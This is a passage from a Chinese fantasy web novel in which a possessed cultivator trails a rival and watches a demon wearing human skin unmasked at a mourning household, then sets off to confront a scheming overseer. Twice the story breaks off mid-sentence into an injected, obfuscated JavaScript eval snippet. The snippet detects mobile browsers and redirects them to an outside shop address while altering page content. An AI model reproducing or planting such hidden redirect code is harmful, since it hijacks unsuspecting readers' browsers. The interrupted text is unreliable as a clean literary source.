虞花暖想了想,又问了一遍蜷缩在一边的虞觅的神魂,可惜原主还是没有理睬。 算了,她也不是不能设身处地为她想一想。 哪有人复仇到一半,不想看看亲者快仇者痛的样子呢?她用了虞觅的身子,就帮虞觅看一看吧。 正好她答应了檀宣作坊的男女老少,要去杀陈把头,总不好食言。 希望他们能耐一点,多发挥一点主观能动性,见她这么久都没有被威胁到,早点把事情闹大一些,最好闹得人心惶惶,连附近的作坊也不好好干活儿了。 虞花暖沿着来时的路,不慌不忙地向仙宫外走去。 鱼三海振翅而行,视界范围里,却看到了有人也出了仙宫,有些犹豫,有些踟蹰,却到底踏出了向前的步伐。 “是赵子宁。”鱼三海一眼认了出来:“马上就是承脉大会了,他不帮着他爹打理通明殿的事情,跑出来干什么?” “打理通明殿?你觉得玄峰长老会把任何一点儿真正重要的活儿交给他吗?”虞花暖挑眉:“会这么窝囊地爱上自己兄长……的人,能有什么很聪明的脑子?” 鱼三海消化了一下虞花暖的话,敏锐地注意到了她的意思:“所以说,不是不能爱,但是不能窝囊?” 虞花暖笑嘻嘻地用手指弹了一下鱼三海的脑袋:“真是一条聪明的小鱼。” 鱼三海还在思忖消化虞花暖的意思:“……那怎么样才是不窝囊?” 虞花暖理所当然道:“喜欢一个人,当然要又争又抢,不择手段,也不论结果。如果连这个都做不到,就不要在人家门前又醉酒又承诺了。” 鱼三海若有所思,又片刻,突然意识到了什么:“等等,你刚刚叫我什么?” 虞花暖看它一眼,却不回答,只竖起了一根手指:“嘘。” 相处了这几日,鱼三海已经知道,虞花暖的这个样子,八成是要搞事了。 它飞快落在了虞花暖身上,和她一起用暮山玉匿了踪,眼睁睁看着赵子宁从两人面前路过,再看着虞花暖脚下一动,准备跟上去的时候,却又回头看向了归云仙宫的方向。 万籁俱寂,唯有灯火。 灯火最亮的地方,灿烂通明,如同白昼。 八大神庙的奉神之火,永远都不会熄灭。 可虞花暖却总觉得哪里不对。 她下意识想要用九境的神魂看一眼,直到鱼三海也跟着她的视线看了过去。 视界共享的刹那,虞花暖看到了一条幽暗的,如晦涩的腐烂之河的气,那条气悬在八大神庙之上,似是正在…… 视界刹那断了。 一道有些阴恻恻的声音响了起来:“找死?” 她三境的修为,去看仙宫的气运流转,的确是找死。 虞花暖咽下喉头腥甜,没咽完,唇边还是渗出来了一丝,她毫不在意地擦掉,故意夹着嗓子甜甜回话:“和师兄一起死。” 卫鹤眠果然没回她了。 虞花暖于是转身,信步闲庭地跟上了赵子宁的脚步。 鱼三海眨眨眼,开始兴奋。 “咱们这是要跟踪他吗!” 虞花暖悠悠道:“只是突然想到了一种可能性,我们和他或许同路。你不是喜欢看热闹吗?不出所料,一会儿就有热闹啦。” …… 清河坊,姜府。 在檀宣作坊浸淫这么久,陈把头当然绝非孤身一人。 当日为了保命,在玄峰长老面前退了,不代表他真的甘心就这样讲檀宣作坊这块肥肉让出去。 在他眼里,虞花暖不过是一个运气很好的小姑娘,刚刚好在这个时候来到了作坊,刚刚好他那天善心大发,让她一起去了通明殿,也是这种刚刚好,让他临时有了退路,捡回了一条命。 为此,陈把头颇为自得。 “看到了吗,人啊,无论何时,都不能舍了心底的那点儿善。就是这种善,才能救命。”他躺在院中的摇椅上,门下小弟子恭谨地在旁边为他持扇:“等回去作坊,无论如何,留她一条命吧。” 小弟子点头称是,又道:“那姜家的事情……” 陈把头一摆手:“去办。” 小弟子眼底闪过一丝阴狠,转身去了。 那日从通明殿出来,他转头就查清楚了那日在通明殿的小弟子姓甚名谁,家中又是谁想要来挡他的路,塞了多少钱。 冤有头,债有主。 他失去的,自然要讨回来。 他老陈,可不是什么谁都能骑到头上的大善人。 那清河坊姜家是什么玩意儿,也敢把主意打到他老陈身上来? 更何况,他的手上,可不止檀宣作坊这一小条生意。 正如归云仙宫,也不止八大神庙。 那些涌动的暗潮里,从来都有他陈把头一份,若是没有他在暗中运筹帷幄,断了他这一截链条,所造成的后果,是所有人都不会想要见到的。 陈把头往后一靠,摇椅吱呀,他翘着腿,哼起了小调。 “我人虽小用处大,莫把我老陈来看轻;我这一门实在不能少,少了猪就吃不饱……” …… 所以这一夜,姜家大伯刚刚经历了美梦破碎的悲痛,又在步入卧房时,看到了幽幽坐在那儿的黑影。 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151069|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家大伯还来不及说话,那黑影便如一缕轻烟般绕了上来,将他的脖颈一拧,只留下最后一句话:“下辈子投胎的时候要记得,不属于你的东西,哪怕只是肖想几分,也得死。” 那黑影从房间里飘过一圈,卷了些金银财物,要走未走,寻思了一番,竟是俯身又看了会儿姜家大伯。 然后嘻嘻一笑,伸出了一双只有枯骨而无血肉的手,从姜家大伯的头摸到脚,不过小半炷香的时间,就剥下来了完整的一张人皮。 黑影欣赏片刻,将人皮往自己身上一披。 少顷,人皮充盈起来,又变成了姜家大伯的模样。 初时还有点僵硬,等到姜家大夫人推门而入的时候,扫了一眼自家夫君,完全没有看出什么端倪,只是用手捂了捂鼻子:“哎呀,这是什么味道?” 然后指挥下人来燃香开窗,等到味道都散尽了,才如常入内就寝。 她只是觉得有些奇怪,这么重的香气都有点压不住奇怪的味道。 却全然不知,躺在自己身边的,已是披着人皮的尸罗蛮。 一夜寂静。 姜府白幡依旧,灵堂里的火还未熄,老妇人停灵几日,也到了该下葬的时候。 姜夫人那日在灵堂杀夫,被软禁了起来,下葬停灵之日才昏昏沉沉被放出来。她才在侍女的搀扶下,恍惚踉跄走到灵堂前,闻着内里飘散出来的暗沉腐烂的香气,忍不住回头,想要看一眼高远的天穹。 便听一道温和有礼的年轻男音响起:“请问这里是……姜府吗?” 姜夫人看了过去。 入眼的首先是归云仙宫的弟子服,然后是悬在腰间的那块明显不是凡物的玉珏,最后才是那张多少有些肖似玄峰长老的脸。 她没有面见过玄峰长老,但已经听姜慕儿和姜尊儿说了不知道多少遍,脑子里早就有了画面,是以只是一个照面,就将来人的身份猜了个七七八八。 她张了张嘴,脑子里却想到了自己被扒了面皮,死了也和没死区别不大的儿子姜崇安,又想到了为了攀上仙宫,不惜狠心杀了自己母亲的丈夫。 姜夫人脑中急转,深吸了一口气,挤出一个礼貌的笑:“正是,请问这位仙师所来何意?” 赵子宁露出一个带着歉意的笑:“却不知府上有白事,本不应在今日打扰,但我出宫不易,还请夫人谅解。我今日来此,是想问问……” 他停了一瞬,姜夫人左右看了一眼,两名搀扶的侍女有些犹豫,却被姜夫人一个眼刀刮开。 “仙师但说无妨,妾身乃姜府的大夫人,仙师所问,知无不尽。” 赵子宁微微一礼,才继续道:“请问府上是否还有当初的那封婚书?” 与归云仙宫有关的婚书,有且只有一封。 姜夫人一瞬便明白了他想要什么。 若是过去,她一定会说不知道。可如今,她已经一无所有。 她不好过,别人也别想好过。 尤其是她那个该被千刀万剐,甚至一息都没有为她的儿子悲恸,只想要立刻让下一个儿子顶上来,好保住他的荣华富贵,甚至不惜手刃了她娘的夫君…… 一切让他绝望,让他生不如死的事情,她都愿意去做。 便如她虽然不知道这位仙师要婚书做什么,但姜尊儿说过,无论是谁来要婚书,都不许拿出来。 那她就偏要给。 姜夫人笑得更温柔了些:“仙师是来取婚书的吗?婚书珍贵,妾身将其放于妆奁之中,还请仙师随妾身移步。” 赵子宁颔首,走了两步,却又停下,折身入了灵堂,点了一支香,双手合十,轻颂了几句,才重新回来。 请谒沟通天地,几句咏颂,胜过无数凡人日夜诵经,可安神,定魂,超度,送亡者入轮回。 所以等姜夫人将那张婚书取出,双手交予赵子宁后,姜夫人像是终于下了什么决心般,振袖,俯身,向着赵子宁行了一个真正的大礼:“多谢仙师为家母点香。妾身还有一事……” 但她并未能说完。 因为刚刚将婚书收好的少年倏而抬眼,几乎是同一瞬间,整个人已经如一道流光般跃出,手指掐捏住恰好路过此地的姜家大伯的咽喉,直接将他钉在了地上! 姜府尖叫一片,三清之气刹那间溢散开来,而姜家大伯的皮囊也如树皮般枯萎下去,妖气如血海般膨胀,顷刻间便将距离他最近的侍女卷入了其中,尸骨无存。 一直靠在旁边廊柱上看热闹的虞花暖微微挑眉。 哟,尸罗蛮,又见面啦。 鱼三海也没想到能这么热闹,正看得津津有味,却有一只漂亮冰冷的手将它的后颈捏住,微微提了起来。 虞花暖头也没回,只微微一笑:“师兄也来看热闹啦。” 15.第 15 章 那边赵子宁如临大敌,手按在传讯符上,符箓将将亮起却又熄灭。 承脉大会在即,玄峰长老严禁通明殿弟子外出,他今日是听闻梅洱剑宗的虞家人要来,所以临时起意,偷跑出来的,断不可被父亲知晓。 可面前这尸罗蛮血色冲天,手头明显已经沾染了不知多少人血。赵子宁如今也不过二境修为,根本不是这尸罗蛮的对手,否则也不可能让它在他眼皮子底下还能吞噬一个人。 姜府乱成一片,尖叫与嚎哭声四散。妖入民宅,波及凡人,按照修仙之人的道义,在场的仙师都应该出手救人。 可虞花暖没动,卫鹤眠淡淡“嗯”了一声回应虞花暖的话,然后也没动。 只有跟在卫鹤眠后面的实心眼孩子动了。 ……动嘴。 谢执襄探头,叹了口气:“这就是人生吗?真是莫测无常,瞬息万变。前几天我才见过这人,当时他还不是妖呢,这么快就被杀啦?不过,我们不用救那边那个吗?好歹高低也是个人。” 虞花暖猜到这是谁,笑眯眯道:“师弟想救?” 谢执襄挠头,思考片刻,又叹了口气:“唉,想归想,可惜我不会救人,我只会杀人。师父说过,只会种地的农稷没什么本事,我为了证明自己,杀人杀妖都可认真了。” 虞花暖:“……” 啊? 农稷杀人靠什么。 靠种植出一些难以形容纯靠想象的变异种,可能种在这里,也可能种在那里,那种子播散起来宛如孢子,可比下毒的雀林还让人害怕。 她强忍着才没让自己火速平移,离谢执襄远一点。 话说回来,拂尘山这位师父也是有点本事,怎么做到名下弟子一个赋灵,一个农稷,一个天命,还有她一个请谒,每个都风马牛不相及,但擅长的事情都是杀人的? 她没见过的人里,还有一位大师姐。不知道这位拂尘山大师姐又是命印什么,如今在何处。 竟让人忍不住有了几分好奇。 不过,如果姜家大伯几日前还没有被尸罗蛮吞食,而是在这几日的话…… 虞花暖缓缓开口:“也或许其实根本不用救他,因为这只尸罗蛮不会伤他。” 果然如她所说。 赵子宁不过二境,若是二境的止戈,还能掏出兵戈与妖祟一战,可二境的请谒,连请神的词都没说完,就会被妖一巴掌打翻。 可那尸罗蛮竟是就这样蹲在那儿,咂吧着嘴,等赵子宁有些磕磕绊绊的请神。 谢执襄看得啧啧称奇:“这天下还有这么讲道理的妖吗?” 卫鹤眠笑了一声:“你去试试和它讲道理?” 谢执襄咂吧出了点儿意思:“归云仙宫的道服……难道这只尸罗蛮来自归云仙宫?疯了吧,这年头还有仙宫私自豢养妖祟?他们想干什么?!” 又顿了顿,谢执襄十分后知后觉地侧头看向身边的卫鹤眠:“所以师兄,你进平妖监就是为了这事儿吗?那师姐你……咦,师姐你的脸?” 虞花暖懒得再把脸捏回来,就顶着这么一张圆润可亲的脸,亲切一笑:“卧底需要。” 谢执襄看看虞花暖,再看看卫鹤眠,脑袋从左摆到右,又摆回来,觉得自己悟了。 这一波,原来是师兄师姐联手设局。 谢执襄心下大定,在地上蹲的更稳了,只觉得已经稳操胜券。 蹲着蹲着,他又忍不住抬头看了一眼。 奇怪,奇怪。 他倒是不知,师兄和三师姐,什么时候这么熟了? 这俩人过去甚至连个照面都没怎么有过吧? 另一边。 赵子宁哆哆嗦嗦掐着诀,目光死死盯着面前的妖祟。 他就这样请了半天,也没请来什么。 这当然不是他第一次杀妖,可过去每一次去妖瘴,他的周围都有同门在,更有修为更高的师兄师姐带队,他只需从容地站在队伍中间,请神施咒,何曾像此刻这样,一个人直面一只尸罗蛮! 可清河坊这样距离归云仙宫这么近的地方,又怎么会有妖物? 赵子宁咬着牙,心底有无数问题,也不是没有想过先逃走保命,可姜府上下如此多人,他的耳边恍然又有刚刚通灵见祟、成为捉妖师那一日时,对着神庙所诵念的誓言。 “——吾辈修士,降妖,除祟,护人间太平,此为吾辈之任。愿你我皆能不畏妖祟之凶险,不忘修行之初心,承三清之气,执降妖之术,清世间之孽。凡妖必诛,凡民必护,以你我血肉,铸山河无恙,天下安康。” 他……他今日无论如何,也不能任由这尸罗蛮为祸姜府和清河坊! 尸罗蛮好整以暇地蹲在那儿,等了一会儿,有些无聊,自觉此次要杀的人也杀了,任务也完成了,就不留下继续逗这位通明殿的小少爷了,起身便打算走。 虞花暖不救赵子宁,但可没打算放这尸罗蛮走,可她才刚刚悄然并指,一柄长剑便从天而落,伴随着一声厉喝:“何方妖孽!胆敢在我姜府造次!” 有点耳熟。 虞花暖一抬头,便见姜耀儿从天而降,一只空荡荡的袖子被风吹起,那剑是左手掷出的,就这样擦着尸罗蛮的边,插在了地上。 这么近的距离,这么歪。 她闭着眼睛用脚踢都比这个准。 姜耀儿落地,重新拔剑,口中振振有词地请剑,声势浩大,一剑又一剑地劈出,可不知是他实在不适应左手持剑,还是别的什么原因,竟是只有剑气削过尸罗蛮,流了几滴妖血。 虞花暖不忍直视。 简直是止戈之耻。 这什么妖体描边大师。 而尸罗蛮本萌生了去意,却被这样一搅,早就被激起了凶性,再重新看向姜耀儿时,竟是咧嘴一笑。 它身上有束缚,不得伤害归云仙宫的人,是以饶是觉得赵子宁虽蠢但香,也不能出手。 但姜耀儿可不一样。 尸罗蛮吐出一口气,妖气刹那暴涨,尖啸一声,再也不陪姜耀儿玩这种描边游戏,幻化出来的手指如活过来的枯枝,刹那间便要贯穿姜耀儿的咽喉! 却有一颗小石子不知从何而来,一下子贯穿了它的掌心,如灼烧般锐利的痛传来,尸罗蛮忍不住吃痛一缩。 便是这一个停顿,那边姜耀儿的剑终于得了准头,而赵子宁也完整地念完了一套请神诀。 长剑搅动,雷光跃动,两人如此合力,终于将这只尸罗蛮制服当场。 赵子宁手忙脚乱掏出一张缚妖纸,展了三遍才展开,收了妖,这才松了一口气,原本煞白的脸也有了一丝劫后余生般的血色。 眼看那边赵子宁和姜耀儿开始互报家门,两人眼中各自闪过一丝异色,显然各有盘算。 一个说要去归云仙宫给对方邀功,另一个不露声色拍了拍自己空荡荡的袖子,两人相视一笑,各自觉得前程雪亮。 显然完全不知道他们抓了这只妖,乃是大水冲了龙王庙,一家人杀一家人。 拱火拱得差不多,虞花暖也放下了方才掷出石头的手:“热闹就先看到这里,我还急着去杀人,鱼三海跟我走,还是留给师兄?” 杀人这事儿,的确耽误不得。 谢执襄十分乖巧懂事地冲她摆了摆手:“师姐注意安全哦。” 鱼三海左看右看,见卫鹤眠没说话,想要多看点热闹的心逐渐压过了一切,就这么一下一下平移到了虞花暖的肩头,立正站好。 虞花暖笑眯眯冲谢执襄点点头,再抬眼时,恰好遇上了卫鹤眠的目光。 少年琥珀色的眼瞳锁在她的身上,像是掀开她此刻捏了皮的脸,落在她的骨相和神髓,一寸一寸地审视。 他若有所思地看着她的手指,倏而开口:“请谒何时也有这种准头了?” 虞花暖心底微微一跳,面上却不显,只道:“总不能劳烦师兄出手。” 卫鹤眠微微挑眉,片刻,像是印证虞花暖的话一样,他扬起两根手指,露出了指间夹的一根枯草,显然如果不是方才虞花暖抢了先,他便也要出手。 只是那枯草……实在有点眼熟。 眼熟得虞花暖心底警铃大作,甚至差点冒了点杀气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156143|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。 ——被发现扔石头的准头是一码事,发现她能用一根枯草直接杀了尸罗蛮,是另一码事。 但卫鹤眠只是闲闲地晃了晃那枯草,手指一松,任凭枯草随风而落,有些懒散地掀起眼皮,似笑非笑地盯了她一眼。 不知道为什么,虞花暖总觉得那一眼里写的是“又想杀我?”。 天命就是这点讨厌,总是一副大局在握我什么都知道的样子,看得人牙痒痒的。 虞花暖干脆开口:“师兄还有什么话要说吗?” 卫鹤眠道:“你可以喊我。” 虞花暖微微挑眉:“嗯?” 卫鹤眠显然并不习惯重复,眉间有些倦色,却还是又说了一遍:“遇见杀不了的人,你可以喊我。” 虞花暖愣了片刻。 这话有些耳熟。 因为过去,从来都是她这个宝梵仙宫的大师姐对师妹师弟们说这句话。她从来都是所有人的托底,因为有她这样绝对碾压的存在,大家才能不计一切后果地一往无前。 她从未想过,一朝一日,会有人对她说这句话。 虞花暖静默半晌,倏而笑了起来:“好哦,一言为定。到时候,无论我在哪里,你都要来。” 言罢,她摆摆手,就这么走了。 身后,许久。 久到姜府的人都散了,赵子宁当真要带姜耀儿踏上去往归云仙宫的路,谢执襄蹲得有些脚麻,想要起身的时候,身边的人突然若有所思又颇为阴恻恻地冒了一句。 “一言为定,她说了两次了。” 谢执襄沉默片刻,又麻溜蹲了回去。 师兄不太对劲的时候,做师弟的,就要自觉降低存在感。 拂尘山祖训。 不找死,就不会死。 …… 虞花暖早就打探清楚了陈把头的住处。 如若她的推断没有错,驱使尸罗蛮来杀姜家大伯的人,便是陈把头。 这事儿本身也不意外,从陈把头的角度来说,夺人财路无异于杀人全家。他侥幸活下来,怎可能善罢甘休。 他绝不会放过姜家大伯。 这是虞花暖早就料到的事情,否则也不会从一开始就觉得姜家这位大伯绝无登上仙宫的可能。 恶人自有恶人杀。 按照她原本的打算,热闹应该就看到赵子宁发现姜家大伯横死,姜家发现赵子宁来自通明殿,又恰逢姜耀儿姜慕儿前来参加承脉大会,于是众人缠死赵子宁,直至轰轰烈烈闹到通明殿。 但她没想到,一个作坊里刚刚通灵见祟、修为此生也止步于此的小把头,竟然便能驱使一只实力堪比三境仙师的凶妖尸罗蛮! 仙宫戒律森严,各有分工。其中通明殿便是管辖这些杂役作坊的,换句话说,陈把头背后的靠山,毫无疑问,便是玄峰长老。 尸罗蛮不会杀赵子宁,却会杀姜耀儿。 姜耀儿死不足惜,可若是他就这样死了,让那尸罗蛮逃了,恐怕也就没有闹上通明殿的这一遭了。 只有姜慕儿和玄峰长老同时在场的情况下,她才能试着看一看,那写了相思二字的帖子,到底是什么东西,能将玄峰长老控制到什么地步。 所以她才会出手,扔出那块小石头。 只是事情闹到这个地步,等赵子宁带着姜耀儿和那尸罗蛮回到通明殿,让玄峰长老得知这妖居然险些杀到自己儿子头上,陈把头纵有天大的背景,也得死。 留给她的时间并不多。 说好了的事情也要做到。 她要赶在通明殿的人来杀陈把头封口之前,先让陈把头开开口。 虞花暖悄无声息地从陈把头的墙头遛下,手里的请神诀已经重新翻开,院内外把守众多,可虞花暖身上带着暮山玉,又岂是普通仙师所能察觉。 她就这样站在了陈把头的那把摇椅旁边,俯身看向他,在陈把头骤然睁大的惊惧眼神中,露出了一个和煦温柔的微笑。 “陈把头,又见面了。” 然后,她一手按在了陈把头的颅顶,轻轻一拧。